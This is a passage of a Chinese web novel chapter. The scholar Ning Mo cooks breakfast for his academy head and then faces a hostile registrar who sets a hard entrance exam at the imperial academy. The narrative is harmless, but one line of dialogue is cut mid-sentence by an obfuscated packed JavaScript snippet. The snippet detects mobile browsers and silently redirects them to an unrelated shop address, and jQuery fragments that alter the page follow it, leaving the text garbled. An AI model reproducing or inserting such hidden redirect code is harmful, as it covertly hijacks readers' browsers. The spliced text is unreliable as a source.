略懂?
方守朴狐疑地看着他。
不过他看了看女儿受伤的手,又想了想自己那惨不忍睹的厨艺,最终还是点了点头:“行吧,你来。不过快一点,咱们还得去国子监。”
宁默点点头,走到灶台前。
他看了看案板上的食材……一块猪肉,几颗青菜,几个鸡蛋,还有一把面条。
简单。
他挽起袖子,先舀了一瓢水倒进锅里,盖上锅盖,生火。
然后拿起刀,开始切菜。
方守朴、方若兰、陈耘三人就站在门口,看着他在厨房里忙活。
刀起刀落,干脆利落。
猪肉切丝,青菜切段,葱姜切末,一气呵成。
锅里的水开了,他下面条。
另一个灶,他起锅烧油,炒肉丝,炒青菜,打鸡蛋。
动作行云流水。
方守朴看得目瞪口呆。
方若兰则怔怔出神。
陈耘更是张大嘴巴,半天合不拢。
“这……这真的是解元?不是厨子?”
陈耘喃喃道:“不是说君子远庖厨吗?”
没过多久,三碗面出锅。
雪白的面条,金黄的煎蛋,翠绿的青菜,还有香气扑鼻的肉丝,光是看着就让人食指大动。
宁默把面端到石桌上,擦了擦手:“院长,方姑娘,陈兄,请慢用。”
方守朴坐在石凳上,低头看着面前这碗面,沉默良久。
然后他拿起筷子,夹了一筷,送进嘴里。
下一刻。
他抬起头,看向宁默。
目光中,顿时充斥着一种说不清道不明的复杂,“你的面……不错!”
他点点头,又吃了一口:“确实不错!”
方若兰也拿起筷子,轻轻尝了一口,然后眸光闪烁了一下,“宁公子,这面……”
宁默微微一笑:“方姑娘若是喜欢我下的面,可以多吃些。”
方若兰低下头,没有说话,只是默默地吃着面。
耳根在无人发现的地方……微微泛红。
陈耘埋头猛吃,一边吃一边含糊不清地嘟囔:“好吃好吃真好吃……”
三碗面,连汤都没剩。
吃饱喝足,方守朴站起身,拍了拍肚子,看向宁默的目光,已经彻底变了。
“行了,时间不早了。”
他转头看向陈耘,“陈耘,你留下收拾桌子。”
陈耘点点头:“是,院长。”
方守朴又看向宁默:“走吧,去国子监。”
“好!”
宁默拱手,跟上方守朴的脚步。
方若兰跟着送二人离小院,望着父亲和宁默的背影,久久不语。
晨光照在她脸上,照出那张清秀的面容,也照出那微微泛红的耳根。
良久,她才收回目光,转身回到院中。
……
不久后。
京城正阳门大街。
国子监坐落在城东南,占地极广,远远望去,朱墙碧瓦,楼阁参差。
门前两尊石狮威严矗立,透着几分皇家学府的庄严肃穆。
宁默跟着方守朴穿过熙熙攘攘的街市,在国子监大门外停下脚步。
此刻正是学子入监的时辰,门口车马如龙,人来人往。
有乘轿的,有骑马的,有坐车的,也有三三两两步行而入的青衫学子,个个衣冠楚楚,气度不凡。
门前站着两排兵丁,腰间挎刀,目不斜视,另有几个身着青袍的官吏在查验文书,核对身份。
“这就是国子监。”
方守朴站在宁默身侧,负手而立,“大禹最高学府,天下读书人梦寐以求的地方。”
宁默望着那座巍峨的门楼,目光幽深。
门楼正中挂着一块巨大的匾额,上书“国子监”三个大字,笔力遒劲,气势磅礴。匾额下方,是朱漆大门,门钉密密麻麻,在晨光中闪着金光。
“能进去读书的,要么是权贵子弟,要么是各地举荐的优等生。”
方守朴声音平淡,道:“像咱们萍州书院这样的末流书院,能有机会进来参加考核,已经是托了朝廷的福。”
宁默点点头,没有多问。
国子监并不单单是学府,同样是教育管理机构,各大书院也都是归国子监管辖。
两人穿过大门,沿着青石铺就的甬道往里走。
甬道两侧古木参天,枝叶蔽日。
一路走去,不时有身着官袍的官员匆匆而过,也有三五成群的学子边走边谈,声音压得很低,偶尔传来几声轻笑。
方守朴怕宁默不知道国子监一些事情,边走边低声解说道:
“国子监分六堂:率性、修道、诚心、正义、崇志、广业。六堂之上是祭酒、司业,总管监务。”
“六堂之下,是各地书院学子的考核之所,你今日要去的地方,就是广业堂旁边的考核院,专门负责书院新生的入学考核。”
宁默认真听着,目光却留意着周围的动静。
路过一处院落时,他隐约听见里面传来朗朗的读书声,是《论语》中的句子,声音整齐,抑扬顿挫。
又路过一处,里面静悄悄的,只听见笔尖落在纸上的沙沙声,想来是在考试。
“国子监有监生三千,加上各书院旁听的学子,每日进进出出的,少说也有四五千人。”
方守朴继续道:“考核院那边,平日倒也清闲,也就春秋两季忙一些。”
宁默暗自心惊,国子监监生大部分都是七品官员之后,也就是说……这都是官二代。
说话间,两人来到一处偏僻的院落前。
院门不大,门楣上挂着一块小匾,上书“考核院”三个字。门口站着一个青袍小吏,正打着哈欠。
方守朴上前,拱了拱手:“劳烦通禀,萍州书院院长方守朴,带新收学子前来考核。”
青袍小吏上下打量了他一眼,目光又落在宁默身上,懒洋洋地伸出手:“路引,户籍文书。”
宁默取出路引递上。
青袍小吏接过去看了看,眉头微微一皱:“湘南来的?”
“是。”宁默点头。
小吏又看了他一眼,没再多说,转身进去。
片刻后,他出来,摆了摆手:“进去吧,赵主簿在里面。”
……
考核院不大,青砖灰瓦的几间厢房围成一个四合院。
院中种着两棵槐树,枝叶稀疏,洒下一片阴凉。
正堂门口,站着一个身着绿袍的中年官员,生得白白胖胖,留着三缕长髯,一双小眼睛透着精明。
见方守朴进来,他拱了拱手,皮笑肉不笑:“方院长,稀客啊。什么风把您吹来了?”
方守朴也拱了拱手:“赵主簿客气。今日带个学生来考核,劳烦您费心。”
“学生?”
赵主簿目光落在宁默身上,上下打量了一番,“方院长,你们萍州书院不是从来不收外地人吗?怎么,破例了?”
方守朴淡淡道:“选贤任能,不在乎户籍,此子有才,老夫便收了。”
“有才?”
赵主簿笑了,那笑容里带着几分意味深长,“方院长,这京城有才的人多了去了,能通过考核的却没几个,您确定要让他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267477|198102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
考?”
方守朴点点头:“确定。”
赵主簿没再说什么,转身走进正堂。
宁默和方守朴跟在后面。
正堂里陈设简单,一张长案,几把椅子。长案后坐着一个书吏,正在整理文书。
赵主簿走到长案后坐下,拿起茶盏抿了一口,慢悠悠道:
“方院长,您是老人了,规矩应该清楚。外地学子考核,跟京城户籍的学子不一样。”
“京籍学子考一科,外籍学子考三科。经义、策论、诗赋,三科都过,才算合格。”
“而且难度不同,京籍学子拿的是甲卷,外籍学子拿的是乙卷,乙卷的题目,比甲卷难上一倍不止。”
方守朴点头:“知道。”
赵主簿又抿了口茶,继续道:
“还有,您这学生在京城待了三天了吧?按规矩,三天内没有文牒,就得离京。”
“今日若是考过了,文牒下来,万事大吉。若是考不过……”
他放下茶盏,看向方守朴,笑眯眯道:
“那他就得立刻出城,一天都不能多待,而且,你们萍州书院的考评,要扣分。”
“考评扣分”四个字说得很轻,却让方守朴的脸色微微一变。
赵主簿看在眼里,笑容更深了几分:
“方院长,不是我吓唬您,你们萍州书院这些年考评年年倒数第一,再扣下去……教学资格怕是要跟正谊书院一样被取消了。”
“到时候,您这二十多年的院长生涯可就到头了……”
正谊书院。
宁默想起昨日去的那家破落书院,门可罗雀,连文牒都没资格发。
还真是被取消了教学资格。
方守朴沉默片刻,淡淡道:“多谢赵主簿提醒,老夫既然带他来了,就有心理准备。”
赵主簿挑了挑眉,看向宁默:
“年轻人,你院长为你可是豁出去了,你自己呢?有没有信心?”
宁默拱手:“学生尽力而为。”
“尽力?”
赵主簿笑了,“尽力可不够,得拼尽全力才行,乙卷的题,不是你那些湘南乡试能比的。”
他摆了摆手:“行了,去吧。外面等着,一会儿安排你考试。”
……
两人走出正堂,在院中的槐树下站定。
方守朴看向宁默,目光里带着几分凝重:
“刚才的话你都听到了,外籍卷比京籍卷难一倍,三科都要过。若是不过……”
“学生明白。”宁默打断他,“院长放心,学生一定全力以赴。”
方守朴看着他,沉默片刻,忽然笑了:
“老夫也是疯了,为了你一个素不相识的外地人,把书院的老本都押上了。”
“不过,老夫既然敢押,就不怕输。你尽管考,考不过,大不了书院关门,老夫带着若兰回老家种地去。”
反正这些年……他脸丢的也够多了!
宁默心头一热,拱手深深一揖:“院长大恩,学生铭记于心。”
方守朴摆摆手:“行了,别煽情了。好好考,比什么都强。”
……
一刻钟后。
一个青衣小吏从侧门出来,朝宁默招了招手:“湘南来的,跟我走。”
宁默看向方守朴。
方守朴点点头:“去吧。老夫在这儿等你。”
宁默跟着小吏穿过侧门,走进一条幽深的回廊。
回廊两侧是一间间厢房,门窗紧闭,隐约能听见里面传来翻卷子的声音。
走到回廊尽头,小吏推开一扇门,侧身让开:“进去吧。”